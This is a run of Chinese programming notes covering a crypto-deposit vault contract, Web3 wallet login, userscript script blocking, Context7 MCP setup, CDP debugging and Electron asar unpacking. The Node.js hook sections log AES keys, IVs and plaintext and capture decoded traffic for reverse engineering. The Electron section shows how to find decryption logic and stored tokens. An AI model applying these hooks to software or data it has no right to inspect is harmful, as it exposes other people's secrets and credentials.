面向区块链用户的 AI API 平台,核心是弄清楚什么适合上链、什么必须留在链下。 Credits 与 Points 的区别 两者经常被混淆,但定位完全不同:项目 Credits Points是否可消费 是(API 扣费) 否是否能提现 是 否是否等价美元 基本是 不是是否实时扣减 是 一般不扣后续用途 付费 API 使用 Token 空投、VIP 等级、DAO 治理Credits 是"钱",用来实时扣 API 费用。充值 100 USDT → 获得 100 credits。 Points 是"生态贡献值",记录用户长期行为,为后续 Token 发行、空投、质押做准备。首版只记录,不承诺兑换比例。 Points 推荐规则(防刷) 充值不给 points(容易刷) 实际 API 消费给 points:1 USD 消费 = 1 point 邀请用户消费后返 points:被邀请人消费 100 USD → 邀请人 +10 points提现时扣减对应 points,避免"充值即拿 points 然后提现"的空刷。 链上 vs 链下的边界 AI API 平台天然偏中心化,因为每秒有大量 streaming、token 级扣费、fallback 重试。内容 位置 原因充值记录 链上 不可篡改,用户可自证钱包资金 链上 透明储备Credits 余额 链下 高频修改,链上 Gas 不可接受API token 计费 链下 streaming 无法逐 token 上链Fallback/retry 逻辑 链下 毫秒级响应要求链上充值的意义不是"绝对无法改余额",而是让作恶留下公开证据:用户可以用 tx hash 证明确实充值了,平台无法赖账。 Vault 合约设计 首版只需要一个极简充值金库,不需要 upgradeable proxy、自动提现或 token 合约。 核心功能接收 BNB(depositBNB) 接收 ERC20(USDT/USDC,depositToken) 每笔充值绑定 orderId,供后端对账 管理员提现(用 Safe 多签作为 owner) Pausable + ReentrancyGuardorderId 的必要性 不用 orderId 的话,用户直接 transfer 到合约,后端无法知道这笔钱对应哪个平台账户的哪个充值订单,难以补单和退款。 Solidity 实现 // SPDX-License-Identifier: MIT pragma solidity ^0.8.24;import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Pausable.sol";contract VibeVault is Ownable, ReentrancyGuard, Pausable { using SafeERC20 for IERC20; mapping(address => bool) public allowedTokens; event DepositBNB(address indexed user, uint256 amount, bytes32 indexed orderId); event DepositToken(address indexed user, address indexed token, uint256 amount, bytes32 indexed orderId); event WithdrawToken(address indexed token, address indexed to, uint256 amount); event WithdrawBNB(address indexed to, uint256 amount); constructor(address initialOwner) Ownable(initialOwner) {} function setAllowedToken(address token, bool allowed) external onlyOwner { allowedTokens[token] = allowed; } function pause() external onlyOwner { _pause(); } function unpause() external onlyOwner { _unpause(); } function depositBNB(bytes32 orderId) external payable whenNotPaused { require(msg.value > 0, "invalid amount"); emit DepositBNB(msg.sender, msg.value, orderId); } function depositToken( address token, uint256 amount, bytes32 orderId ) external whenNotPaused nonReentrant { require(allowedTokens[token], "token not allowed"); require(amount > 0, "invalid amount"); IERC20(token).safeTransferFrom(msg.sender, address(this), amount); emit DepositToken(msg.sender, token, amount, orderId); } function withdrawToken(address token, address to, uint256 amount) external onlyOwner nonReentrant { require(to != address(0), "invalid to"); IERC20(token).safeTransfer(to, amount); emit WithdrawToken(token, to, amount); } function withdrawBNB(address payable to, uint256 amount) external onlyOwner nonReentrant { require(to != address(0), "invalid to"); (bool success,) = to.call{value: amount}(""); require(success, "transfer failed"); emit WithdrawBNB(to, amount); } }部署时 initialOwner 传入 Safe 多签地址,不要传 EOA 钱包,否则单私钥泄露即丢失全部资金。 链下 Credits 账本设计 Credits 必须在链下用数据库管理,但要做到可审计: users: wallet_address, credits, frozen_credits, points api_keys: user_id, key_hash, status requests: user_id, model_tier, input_tokens, output_tokens, actual_cost, status balance_logs: user_id, type(deposit/consume/refund/withdraw), amount, balance_before, balance_after, request_id预扣费防并发刷余额 streaming 请求可能持续数分钟,必须先冻结余额: 请求开始 → 冻结 1 USD(frozen_credits += 1) 请求结束 → 按实际 token 数结算 实际费用 0.23 USD → 真正扣 0.23,解冻 0.77 上游失败 → 全部解冻,不扣费Credits 存储用整数 内部:1 credit = 1,000,000 units(类似 USDC 的 6 位精度) 不要用 float,浮点误差会导致账单对不上BSC 充值确认数建议资产 建议确认数BNB 6~12USDT 12USDC 12后端监听 DepositBNB 和 DepositToken 事件,达到确认数后入账 credits。 降低管理员作恶风险Safe 多签(2/3):单私钥泄露无法提币 热钱包只放小额:大额资金存 Safe 每 6 小时上链余额 Merkle Root:用户可验证平台没有偷改余额 balance_logs 不可删除:所有扣费操作可完整审计
油猴脚本阻止页面脚本加载:hook appendChild 与 createElement
执行时机:document-start 油猴脚本的执行时机由 @run-at 控制,document-start 是最早的时机,在浏览器开始解析 HTML 前执行: // ==UserScript== // @name Block Scripts // @match *://*/* // @run-at document-start // ==/UserScript==此时 document.body 还不存在,但 DOM API 已可用,可以提前 hook 原型方法。 方案1:hook appendChild 拦截动态 script // ==UserScript== // @name Block Dynamic Scripts // @match *://example.com/* // @run-at document-start // ==/UserScript==(function () { const rawAppend = Element.prototype.appendChild; Element.prototype.appendChild = function (el) { if (el.tagName === 'SCRIPT') { const src = el.src || '(inline)'; console.log('[blocked]', src); // 返回 el 但不真正追加,阻止加载 return el; } return rawAppend.call(this, el); }; })();rawAppend 保存原始方法,避免无限递归。只拦截 SCRIPT 标签,其他元素正常追加。 方案2:hook createElement,在 src 赋值时拦截 部分页面通过 createElement('script') 创建后再设置 src: const rawCreate = document.createElement.bind(document);document.createElement = function (tag) { const el = rawCreate(tag); if (tag === 'script') { Object.defineProperty(el, 'src', { configurable: true, set(v) { if (v.includes('ads.example.com')) { console.log('[blocked src]', v); return; } el.setAttribute('src', v); }, get() { return el.getAttribute('src') || ''; } }); } return el; };Object.defineProperty 劫持 src 的 setter,在 src 被赋值时决定是否放行。 方案3:MutationObserver 监控已插入的 script 上面两种方案针对动态插入。对于 HTML 中静态的 <script> 标签,可以用 MutationObserver 在插入前禁用: const observer = new MutationObserver((mutations) => { for (const mutation of mutations) { for (const node of mutation.addedNodes) { if (node.tagName === 'SCRIPT' && node.src.includes('tracker.js')) { node.type = 'text/blocked'; // 改掉 type,浏览器不执行 console.log('[neutralized]', node.src); } } } });observer.observe(document.documentElement, { childList: true, subtree: true });将 type 改为非 JavaScript MIME 类型,浏览器不会执行该脚本但 DOM 中仍有该节点。 三种方案对比方案 拦截时机 适用场景hook appendChild 追加时 动态 document.body.appendChild(script)hook createElement src src 赋值时 el.src = '...' 模式MutationObserver 节点插入 DOM 后 任意方式插入,包括 innerHTML实际页面可能混合使用多种方式,建议组合 hook。 注意事项document-start 时 document.body 为 null,不要访问 DOM 元素 hook 原型方法影响所有调用,测试时先在控制台验证 浏览器扩展的 Content Script 比油猴更底层,如需更强的拦截能力可考虑开发扩展
Go 后端接入 Web3 钱包登录:nonce + personal_sign 验签
Go 后端接 Web3 钱包登录,标准流程只有四步:后端下发 nonce 前端钱包用 personal_sign 签 "Login\nNonce: xxx" 后端 recover 出地址,比对是不是同一个 通过后签发 JWT / session省心的做法是前端签名 + 后端验签,别在后端搞私钥。 生成 nonce 一次性、5 分钟过期、写 Redis: package authimport ( "crypto/rand" "encoding/hex" )func GenerateNonce() string { b := make([]byte, 16) rand.Read(b) return hex.EncodeToString(b) }Redis key:wallet:nonce:0xabc... → <nonce>,TTL 5 分钟。 前端签名 const message = `Login\nNonce: ${nonce}`; const signature = await ethereum.request({ method: "personal_sign", params: [message, address], });要点:用 personal_sign,不要自己算 hash 消息用明文发给 MetaMask,它会自动加 EIP-191 前缀Go 侧验签 package authimport ( "fmt" "strings" "github.com/ethereum/go-ethereum/common" "github.com/ethereum/go-ethereum/crypto" )func VerifySignature(address, message, sigHex string) bool { sigHex = strings.TrimPrefix(sigHex, "0x") sig := common.FromHex(sigHex) if len(sig) != 65 { return false } // 关键点 1:v 值处理(MetaMask 返回 27/28,crypto 库要 0/1) if sig[64] != 27 && sig[64] != 28 { return false } sig[64] -= 27 // 关键点 2:EIP-191 前缀 prefixed := fmt.Sprintf( "\x19Ethereum Signed Message:\n%d%s", len(message), message, ) hash := crypto.Keccak256Hash([]byte(prefixed)) pubKey, err := crypto.SigToPub(hash.Bytes(), sig) if err != nil { return false } recovered := crypto.PubkeyToAddress(*pubKey) return strings.EqualFold(recovered.Hex(), address) }登录 handler type LoginReq struct { Address string `json:"address"` Signature string `json:"signature"` }func Login(c *gin.Context) { var req LoginReq if err := c.ShouldBindJSON(&req); err != nil { c.JSON(400, gin.H{"error": "bad request"}) return } key := "wallet:nonce:" + strings.ToLower(req.Address) nonce, err := redisClient.Get(ctx, key).Result() if err != nil { c.JSON(401, gin.H{"error": "nonce expired"}) return } message := "Login\nNonce: " + nonce if !VerifySignature(req.Address, message, req.Signature) { c.JSON(401, gin.H{"error": "invalid signature"}) return } // 防重放:立刻删掉 nonce redisClient.Del(ctx, key) token, _ := GenerateJWT(req.Address) c.JSON(200, gin.H{"token": token}) }三个必踩的坑 1. 少了 EIP-191 前缀 MetaMask 的 personal_sign 会自动加: "\x19Ethereum Signed Message:\n" + len(msg) + msg后端验签必须手动加回这个前缀再算 keccak。少了直接验不过。 2. v 值 27/28 vs 0/1 MetaMask 返回的签名最后一个字节(v)是 27 或 28(EIP-155 前的格式)。go-ethereum 的 crypto.SigToPub 要求是 0 或 1。必须减 27。 3. 忘了防重放 nonce 验完不删,攻击者抓包重放就能永远登进来。验签成功后立刻 redis.Del。 建议直接上 SIWE Sign-In with Ethereum(EIP-4361)是现在的标准,消息格式包括域名、URI、Chain ID、Issued At 等,钱包会更友好地显示: example.com wants you to sign in with your Ethereum account: 0xabc...123URI: https://example.com Version: 1 Chain ID: 1 Nonce: 8a2c... Issued At: 2026-05-10T16:31:04ZGo 侧现成库: go get github.com/spruceid/siwe-goimport siwe "github.com/spruceid/siwe-go"msg, err := siwe.ParseMessage(rawMessage) if err != nil { ... }if _, err := msg.Verify(signature, &domain, &nonce, nil); err != nil { // 验签失败 }SIWE 帮你处理消息构造、时效、chain id、防重放,比手写靠谱。 前端推荐栈wagmi + viem:现在 EVM dApp 的事实标准 直接 useSignMessage,签名一行搞定 不用自己处理 window.ethereum一句话总结 Web3 登录 = nonce + personal_sign + Go recover 比地址。三个坑:加 EIP-191 前缀、v 值减 27、nonce 用完立刻删。新项目直接上 SIWE,别自己拼消息格式。
Context7:给 AI 编程助手注入实时文档的 MCP 工具
Context7 是一个给 AI 编程助手补充实时官方文档上下文的工具,核心解决的问题是:大模型的训练数据有截止日期,新框架 API 或频繁变动的库往往使用旧版写法,导致生成的代码无法运行。 工作流程 用户提问 ↓ AI 判断需要文档 ↓ Context7 拉取对应库的最新文档 ↓ 把文档片段注入 Prompt ↓ 模型基于真实文档生成代码例如询问"Next.js 15 middleware 怎么写",普通模型可能给出 Next.js 12 的旧 API,Context7 会先拉取最新 Next.js 文档再生成答案。 与 RAG 的区别维度 RAG Context7数据来源 用户自定义文档库 官方文档仓库更新频率 手动维护 跟随上游自动同步适合场景 内部知识库 公开库文档集成方式 自建 pipeline MCP 协议MCP 接入配置 Context7 提供 MCP server,支持 Cursor、Claude Code、OpenCode 等工具: { "mcpServers": { "context7": { "command": "npx", "args": ["-y", "@upstash/context7-mcp@latest"] } } }配置后在对话中使用 use context7 指令触发文档检索: Next.js 15 的 middleware 怎么配置重定向?use context7支持的文档范围 常见库均有覆盖:React / Next.js / Remix Node.js / Bun LangChain / LangGraph OpenAI SDK / Anthropic SDK Prisma / Drizzle / TypeORM Docker / Kubernetes 各大主流 npm 包在 AI Agent 架构中的位置 OpenCode / Claude Code ├── LLM ├── Browser ├── Terminal ├── Skills ├── Context7 / RAG ← 文档检索层 └── MCP ToolsContext7 填补了"文档检索层"——让 Agent 在生成代码时能查到当前正确的 API,而不是凭训练数据猜测。 替代方案工具 定位Context7 公开库官方文档Mintlify Scraper 自定义文档爬取Crawl4AI 通用网页抓取自建 pgvector RAG 私有文档库对于内部项目文档,更适合自建 RAG(pgvector + embedding);对于开源库,直接用 Context7 省去维护成本。
Chrome CDP 远程调试:--remote-debugging-port 与 Node.js Hook 框架
CDP 远程调试 启动浏览器并开放调试端口 # Chrome chrome.exe --remote-debugging-port=9222# Edge(建议指定独立 user-data-dir) msedge.exe --remote-debugging-port=9222 --user-data-dir=D:\edge_debug获取 WebSocket 调试地址 浏览器启动后,访问: http://127.0.0.1:9222/json返回当前所有 Tab 的信息,其中 webSocketDebuggerUrl 是关键字段: { "id": "ABC123", "title": "test page", "webSocketDebuggerUrl": "ws://127.0.0.1:9222/devtools/page/ABC123" }连接 DevTools 前端 devtools://devtools/bundled/devtools_app.html?ws=127.0.0.1:9222/devtools/page/ABC123整体链路:--remote-debugging-port 开放 CDP 端口 → /json 获取 ws 地址 → DevTools 前端通过 ws 接入。 Node.js Hook 三件套 在 Node 程序里注入以下 hook 可以拦截运行时数据流。 Hook JSON.parse(记录解析数据) const fs = require('fs'); const _parse = JSON.parse;JSON.parse = function (text, reviver) { const result = _parse.call(this, text, reviver); // 只保存含 "raw" key 的对象 if (result && typeof result === 'object' && 'raw' in result) { fs.appendFileSync('./json_log.txt', JSON.stringify({ time: Date.now(), data: result }) + '\n'); } return result; };过滤条件也可以改为 /"raw"\s*:/.test(text) 在原始字符串层面筛选,减少反序列化开销。 Hook TextDecoder.decode(截获二进制转字符串) const { TextDecoder } = require('util'); const _decode = TextDecoder.prototype.decode;TextDecoder.prototype.decode = function (input, options) { const result = _decode.call(this, input, options); console.log('[TextDecoder]', result); return result; };适合抓 WebSocket 二进制帧、CDP 协议数据等场景。注意 Buffer.toString('utf-8') 走的是另一条路径,需要单独 hook Buffer.prototype.toString。 Hook AES 加密(抓密钥与明文) const crypto = require('crypto'); const _createCipheriv = crypto.createCipheriv;crypto.createCipheriv = function (algorithm, key, iv, options) { console.log('[AES key]', { algorithm, key: key?.toString?.('hex'), iv: iv?.toString?.('hex') }); const cipher = _createCipheriv.call(this, algorithm, key, iv, options); const _update = cipher.update; cipher.update = function (data) { console.log('[AES plaintext]', data?.toString?.() ?? data); return _update.apply(this, arguments); }; return cipher; };Hook createDecipheriv 的结构完全对称,可以抓解密后的明文。 注意事项JSON.parse 被局部引用绕过时(const p = JSON.parse; p(...)),改 global.JSON.parse 更彻底 大流量场景建议加过滤条件(text.length < 5000)避免日志刷屏 Node.js 版本 >= 11 才有全局 TextDecoder,旧版用 require('util').TextDecoder
Edge/Chrome CDP 远程调试与 Node.js Hook TextDecoder、JSON、AES
Edge/Chrome CDP 远程调试 1. 启动浏览器开启调试端口 # Edge msedge.exe --remote-debugging-port=9222 --user-data-dir=D:\edge_debug# Chrome chrome.exe --remote-debugging-port=92222. 获取 WebSocket 调试地址 访问: http://127.0.0.1:9222/json返回 JSON,找 webSocketDebuggerUrl: { "title": "test page", "webSocketDebuggerUrl": "ws://127.0.0.1:9222/devtools/page/ABC123" }3. 用 DevTools 前端连接 把 ws 地址传给 DevTools 前端: devtools://devtools/bundled/devtools_app.html?ws=127.0.0.1:9222/devtools/page/ABC123在 Edge/Chrome 地址栏直接输入即可,打开完整的开发者工具界面。 核心结构: 浏览器(Edge/Chrome) ↓ WebSocket (CDP) DevTools Frontend(网页 UI)Node.js TextDecoder 支持情况 Node.js ≥ 11 支持 TextDecoder,Node ≥ 16/18 更稳定: const { TextDecoder, TextEncoder } = require('util');const decoder = new TextDecoder('utf-8'); const buf = Buffer.from([0xe4, 0xbd, 0xa0]); // "你" console.log(decoder.decode(buf)); // 你Hook TextDecoder.decode 用于拦截 WebSocket / CDP 协议里的二进制转文本: const { TextDecoder } = require('util');const _decode = TextDecoder.prototype.decode;TextDecoder.prototype.decode = function (input, options) { const result = _decode.call(this, input, options); console.log('[TextDecoder.decode]', result); return result; };全局 hook(拦截所有实例): const orig = TextDecoder;global.TextDecoder = function (...args) { const instance = new orig(...args); const _decode = instance.decode; instance.decode = function (...params) { const res = _decode.apply(this, params); console.log('[WS decode]', res); return res; }; return instance; };Hook JSON.parse 并落盘 const fs = require('fs'); const _parse = JSON.parse;JSON.parse = function (text, reviver) { try { const result = _parse.call(this, text, reviver); // 只保存含 "raw" 字段的数据 if (result && typeof result === 'object' && 'raw' in result) { fs.appendFileSync( './json_raw_log.txt', JSON.stringify({ time: Date.now(), data: result }) + '\n' ); } return result; } catch (e) { return _parse.call(this, text, reviver); } };按关键字过滤避免刷屏: // 只记录长度 < 5000、包含关键字的 if (typeof text === 'string' && text.length < 5000 && text.includes('method')) { fs.appendFileSync('./log.txt', text + '\n'); }Hook Node.js AES 加密 Hook crypto.createCipheriv 抓加密前的明文、key、IV: const crypto = require('crypto'); const _createCipheriv = crypto.createCipheriv;crypto.createCipheriv = function (algorithm, key, iv, options) { console.log('[AES createCipheriv]', { algorithm, key: Buffer.isBuffer(key) ? key.toString('hex') : key, iv: Buffer.isBuffer(iv) ? iv.toString('hex') : iv }); const cipher = _createCipheriv.call(this, algorithm, key, iv, options); const _update = cipher.update; const _final = cipher.final; cipher.update = function (data, inputEncoding, outputEncoding) { console.log('[AES encrypt input]', data?.toString?.() ?? data); return _update.apply(this, arguments); }; cipher.final = function (outputEncoding) { const res = _final.apply(this, arguments); console.log('[AES encrypt output]', res); return res; }; return cipher; };解密 hook(对称): const _createDecipheriv = crypto.createDecipheriv;crypto.createDecipheriv = function (algorithm, key, iv) { const decipher = _createDecipheriv.call(this, algorithm, key, iv); const _update = decipher.update; decipher.update = function (data) { const res = _update.apply(this, arguments); console.log('[AES decrypt result]', res.toString()); return res; }; return decipher; };组合 hook(实战抓包) WebSocket + 加密接口逆向的标准三件套:TextDecoder.prototype.decode — 抓二进制转文本 JSON.parse — 抓接口返回 JSON crypto.createCipheriv/createDecipheriv — 抓 AES 明文和密钥部分代码直接用 Buffer.toString('utf-8') 而不经过 TextDecoder,还需要额外 hook: const _toString = Buffer.prototype.toString;Buffer.prototype.toString = function (encoding, ...rest) { const result = _toString.call(this, encoding, ...rest); if (encoding === 'utf8' || encoding === 'utf-8') { console.log('[Buffer.toString]', result.slice(0, 200)); } return result; };
Node.js SyntaxError: Unexpected identifier:非 ASCII 字符混入代码的排查
中文字符导致 SyntaxError SyntaxError: Unexpected identifier '目' at wrapSafe (node:internal/modules/cjs/loader:...)报错指向中文字符"目",不是代码写法问题,而是文本内容被误粘贴进了 JS 文件: // 错误:文本直接出现在代码里 const text = fs.readFileSync("1.txt", "utf8"); console.log(text.length);题 目 AI辅助的全方位科研管理与创作平台 // ← 这行是数据,不是代码最后一行是从 1.txt 复制过来的内容,Node 解析时把它当代码执行,"题"和"目"之间有空格被当作两个标识符。 修复方法:删除误粘贴的文本,JS 文件只保留代码逻辑。 readFileSync 的编码参数 // 不指定编码:返回 Buffer const buf = fs.readFileSync("1.txt"); console.log(buf.length); // 字节数(中文 UTF-8 每字 3 字节)// 指定 utf8:返回字符串 const text = fs.readFileSync("1.txt", "utf8"); console.log(text.length); // 字符数(JavaScript 的 UTF-16 码元数) console.log(Buffer.byteLength(text)); // UTF-8 字节数中文字符用 buf.length 统计结果是字节数(通常是字符数的 3 倍),必须指定 "utf8" 才能拿到字符串后再用 .length。 用 Map 统计数组重复项 Map 是计数/去重的高效结构: const arr = ['apple', 'banana', 'apple', 'cherry', 'banana', 'apple'];const counter = new Map(); for (const item of arr) { counter.set(item, (counter.get(item) ?? 0) + 1); } // Map { 'apple' => 3, 'banana' => 2, 'cherry' => 1 }找出出现超过 1 次的元素: const duplicates = [...counter.entries()] .filter(([, count]) => count > 1) .map(([key]) => key); // ['apple', 'banana']一遍遍历即可,时间复杂度 O(n),比嵌套 filter/indexOf 更高效。 去重(保留唯一值) 用 Set 更简洁: const unique = [...new Set(arr)]; // ['apple', 'banana', 'cherry']如果同时需要计数和去重,先建 Map 再从 Map 的 key 拿唯一值: const unique = [...counter.keys()];
LLM Tool Calling 的四种 role 和 "不用调工具" 的空数组约定
写 LLM Agent 或者接 Function Calling / Tool Use 的时候,role 字段是消息路由的核心。四种 role 分工明确,工具调用要按固定生命周期走。 四种 role 1. system — 全局规则 设定模型的行为准则、可用工具、输出格式约束: { "role": "system", "content": "你是一个只回答天气问题的助手。工具调用格式必须严格 JSON。" }优先级最高。一段对话通常只有一条 system 消息(放最前面)。 2. user — 用户输入 真实用户的问题、指令、上下文: { "role": "user", "content": "上海明天下雨吗?" }3. assistant — 模型响应 模型的回复。可以是普通文本、也可以是 tool_call 请求: 普通回复: { "role": "assistant", "content": "上海明天多云,温度 15-22°C。" }发起工具调用: { "role": "assistant", "content": null, "tool_calls": [ { "id": "call_abc123", "type": "function", "function": { "name": "get_weather", "arguments": "{\"city\":\"上海\",\"date\":\"tomorrow\"}" } } ] }content 为 null 表示模型选择用工具而不是直接回答。 4. tool — 工具执行结果 外部函数运行完,把结果塞回上下文让模型继续: { "role": "tool", "tool_call_id": "call_abc123", "content": "{\"weather\":\"多云\",\"temp\":\"15-22\"}" }tool_call_id 必须和上一条 assistant.tool_calls[].id 对上——多工具并行时靠这个匹配。 完整生命周期 user → "上海明天天气" ↓ assistant → tool_calls: [ get_weather({city:"上海"}) ] ↓ [外部执行 get_weather,返回 "多云 15-22°C"] ↓ tool → "多云 15-22°C" (tool_call_id = call_abc123) ↓ assistant → "上海明天多云,15-22°C,建议带件外套"四轮消息、四种 role。每条 tool 消息必须对应上一轮某个 tool_call,不能凭空出现。 "不需要工具"的返回约定 有些 Agent 框架要求 assistant 明确表达"这一轮我不需要工具"。约定俗成的写法是空数组: { "role": "assistant", "content": "你好,我是助手。", "tool_calls": [] }严格规范里:不需要工具 → tool_calls: [](或者干脆不带该字段) 需要工具 → tool_calls: [{...}][] 明确表示"模型已经判断过、决定不用工具",比 null 或缺字段更清晰。写自己的 tool routing 时,这样解析更省心: if (Array.isArray(msg.tool_calls) && msg.tool_calls.length > 0) { executeToolCalls(msg.tool_calls); } else { displayText(msg.content); }并行工具调用 现代模型(GPT-4、Claude 3.5+)支持一次返回多个 tool_calls: { "role": "assistant", "tool_calls": [ { "id": "call_1", "function": {"name": "get_weather", "arguments": "{\"city\":\"上海\"}"} }, { "id": "call_2", "function": {"name": "get_weather", "arguments": "{\"city\":\"北京\"}"} } ] }Agent 应该并发执行两个 get_weather,然后按顺序 append 两条 tool 消息回上下文: [ { "role": "tool", "tool_call_id": "call_1", "content": "上海:多云" }, { "role": "tool", "tool_call_id": "call_2", "content": "北京:晴" } ]再让模型继续。 常见坑 1. tool_call_id 忘了对齐 { "role": "assistant", "tool_calls": [{"id": "call_1", ...}] }, { "role": "tool", "tool_call_id": "call_2", ... } // 对不上模型下一轮会困惑——大概率报错或者胡说。每个 tool_call 必须对应恰好一个 tool 消息。 2. 直接输出工具调用当文本 有些开发者 prompt 里让模型 "输出 <tool>...</tool> 格式",然后自己解析。能用原生 tool_calls 就用,稳定性和生态好得多(错误处理、并行、streaming 都有官方支持)。 3. 工具报错没处理 工具执行失败,应该把错误信息作为 tool 消息返回,让模型知道并决定重试或换策略: { "role": "tool", "tool_call_id": "call_1", "content": "{\"error\":\"API rate limit exceeded, retry after 60s\"}" }而不是抛异常终止对话。 4. 工具太多导致 token 爆炸 每次请求都要把所有 tool schema 塞进去。只给模型看当前场景需要的工具子集——按用户意图动态选。20 个以上工具建议做工具路由。 OpenAI / Anthropic 差异字段 OpenAI Anthropic Clauderole: assistant 里的工具调用 tool_calls: [] content 里是 array,含 type: "tool_use" 项工具结果 role tool user(但 content 里是 type: "tool_result")工具定义位置 tools: [] 参数 tools: [] 参数(结构略不同)Anthropic 把工具结果放 user role 是历史原因——本质数据一样,只是包装略不同。 一句话总结 四种 role:system 全局规则、user 用户输入、assistant 模型输出(可含 tool_calls)、tool 外部执行结果。"不用工具"的规范返回是 tool_calls: []。每个 tool 消息必须靠 tool_call_id 对齐前一轮的调用。
JS 生成 UUID:crypto.randomUUID 与 uuid npm 包
crypto.randomUUID(现代标准方案) 浏览器和 Node.js 都内置支持: const id = crypto.randomUUID(); console.log(id); // "3f6c2a6f-8d7d-4f9c-b7d5-3fcb52c8a1aa"这是 UUID v4(随机),格式固定为 xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx。Chrome / Edge / Firefox 均支持 Node.js ≥ 19 直接用全局 crypto;Node.js 15–18 从 crypto 模块导入// Node.js 15-18 const { randomUUID } = require('crypto'); console.log(randomUUID());uuid npm 包 适合需要 v1 / v5 或更好兼容性的场景: npm install uuidimport { v4 as uuidv4 } from 'uuid';console.log(uuidv4()); // "110e8400-e29b-41d4-a716-446655440000"各版本:版本 特点 场景v1 时间 + MAC 地址 需要可排序的 IDv4 全随机 最常用,通用唯一 IDv5 命名空间 + hash 相同输入生成相同 ID老版本兼容写法 不能用 crypto.randomUUID 时的回退: function uuid() { return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx' .replace(/[xy]/g, c => { const r = Math.random() * 16 | 0; const v = c === 'x' ? r : (r & 0x3 | 0x8); return v.toString(16); }); }Math.random() 不是密码学安全随机数,高并发下理论上存在碰撞风险,生产环境优先用 crypto.randomUUID()。 短 ID(不是 UUID) 只需要一个不太长的唯一标识,不要求标准格式时: const id = Math.random().toString(36).slice(2); // "k9x2m8q"toString(36) 用 0–9 + a–z 36进制,slice(2) 去掉开头的 0.。这个不是 UUID,不保证唯一性,只适合临时标识(如 DOM id、session key)。 更长更安全的短 ID: const id = crypto.getRandomValues(new Uint8Array(8)) .reduce((acc, b) => acc + b.toString(16).padStart(2, '0'), ''); // "a3f2c1d9e4b70821"使用场景数据库主键:用 UUID v4,全随机防枚举 请求追踪:X-Request-ID header 用 crypto.randomUUID() 前端元素 key:用短 ID 即可 内容寻址:用 UUID v5,同 URL 生成相同 ID
JavaScript forEach 不支持 await:for...of 顺序执行与 Promise.all 并发执行
Array.prototype.forEach 不会等待异步回调完成,这是 JavaScript 里最常见的异步陷阱之一。 问题演示 const arr = [1, 2, 3];arr.forEach(async (item) => { await sleep(1000); console.log(item); });console.log('结束');输出顺序是: 结束 1 2 3forEach 本身是同步的,不关心回调返回的是否是 Promise,调用后立即继续执行。 await arr.forEach(...) 也没有意义,因为 forEach 的返回值始终是 undefined: await undefined // 无效等待顺序执行:用 for...of for (const item of arr) { await doSomething(item); }特点:一个完成后再执行下一个,顺序稳定。适合:限流的 API 请求(防止并发过多) 数据库写入(避免竞争) 依赖上一步结果的操作并发执行:用 Promise.all + map await Promise.all( arr.map(async (item) => { await doSomething(item); }) );特点:全部同时启动,等所有完成。适合独立任务批量执行,注意不要把接口打爆。 限制并发数量(每次最多 N 个): async function runConcurrent(arr, fn, concurrency = 5) { const results = []; for (let i = 0; i < arr.length; i += concurrency) { const batch = arr.slice(i, i + concurrency); results.push(...await Promise.all(batch.map(fn))); } return results; }选择参考场景 推荐写法顺序 await,依赖上一步 for...of全部并发,互不依赖 Promise.all + map不需要等待结果 forEach(此时没问题)requestIdleCallback:避免长循环阻塞主线程 如果是大量数据的 CPU 密集计算(如点云、坐标变换),不要在主线程单次执行,而是用 requestIdleCallback 分片处理: function processChunked(data, chunkSize = 1000) { return new Promise((resolve) => { let i = 0; const results = []; function step(deadline) { while (i < data.length && deadline.timeRemaining() > 0) { results.push(expensiveOp(data[i])); i++; } if (i < data.length) { requestIdleCallback(step); } else { resolve(results); } } requestIdleCallback(step); }); }特点:浏览器空闲时处理,不阻塞动画和用户交互。Safari 不支持 requestIdleCallback,可以用 setTimeout(fn, 0) 作为降级方案。 一句话总结 涉及 await 就别用 forEach,用 for...of(顺序)或 Promise.all(并发)。
Electron asar 解包:资源为什么只有一部分以及各类资源的位置
解包 app.asar 后只看到"部分资源",通常不是工具有问题,而是资源本来就不全在 asar 里。 app.asar.unpacked 目录 很多 Electron 应用把资源拆成两部分: resources/ ├─ app.asar ← 打包进归档的前端代码 └─ app.asar.unpacked ← 不打包,直接放文件系统不能放进 asar 的资源通常在 unpacked:.node 原生模块 dll、exe 二进制 ffmpeg 大模型权重 WASM 文件 Chromium 扩展解包命令: npx asar extract app.asar out查看归档内容: npx asar list app.asar运行时动态下载 很多 AI 软件、IDE 首次启动后会在线下载:JS chunk 模型权重 WASM 模块 加密资源这些完全不在 asar 里。常见存放位置: # Windows %AppData%\Roaming\应用名\ ← 配置、数据库、历史记录 %AppData%\Local\应用名\ ← 缓存、大文件、模型webpack 打包合并 现代 Electron 应用几乎不会保留 src/pages/ 这样的目录结构,而是打成 bundle: main.js renderer.js chunk.abc123.js你以为"缺文件",其实文件已经被合并进 bundle 了。搜索以下关键词确认: webpackChunk __webpack_require__加密和混淆 部分商业应用会:存 .jsc / .bin V8 字节码(bytenode),无法直接还原源码 webpack chunk 内字符串 XOR 混淆 运行时解密:decrypt(buffer); eval(...) 拿到真正的代码各类资源的位置速查目标 位置前端源码(React/Vue) app.asar 解包后的 bundle配置、token、sqlite %AppData%\Roaming\应用名缓存、模型、大文件 %AppData%\Local\应用名原生模块、二进制 app.asar.unpacked内联图片 bundle 里 base64 编码关键 IPC 桥接逻辑 preload.jsElectron 默认缓存目录 Cache/ Code Cache/ ← 可能有 V8 字节码缓存 GPUCache/ IndexedDB/ ← 配置、文档、AI 数据 Local Storage/ blob_storage/完整逆向流程 # 1. 解包 npx asar extract app.asar out# 2. 找 webpack 入口 grep -r "__webpack_require__" out/# 3. 重点看 preload # out/main/preload.js 或 dist-electron/preload.js# 4. 如果有加密,搜解密关键词 grep -r "decrypt\|Buffer\|crypto\|atob" out/# 5. 找用户数据 ls %AppData%\Roaming\应用名常见真实目录结构 MyApp/ ├─ resources/ │ ├─ app.asar │ ├─ app.asar.unpacked/ │ │ ├─ native.node │ │ └─ ffmpeg.dll │ └─ ... └─ locales/AppData/Roaming/MyApp/ ├─ IndexedDB/ ├─ Local Storage/ ├─ settings.json └─ user.db
Electron app.asar 解包只有部分资源的原因与逆向方法
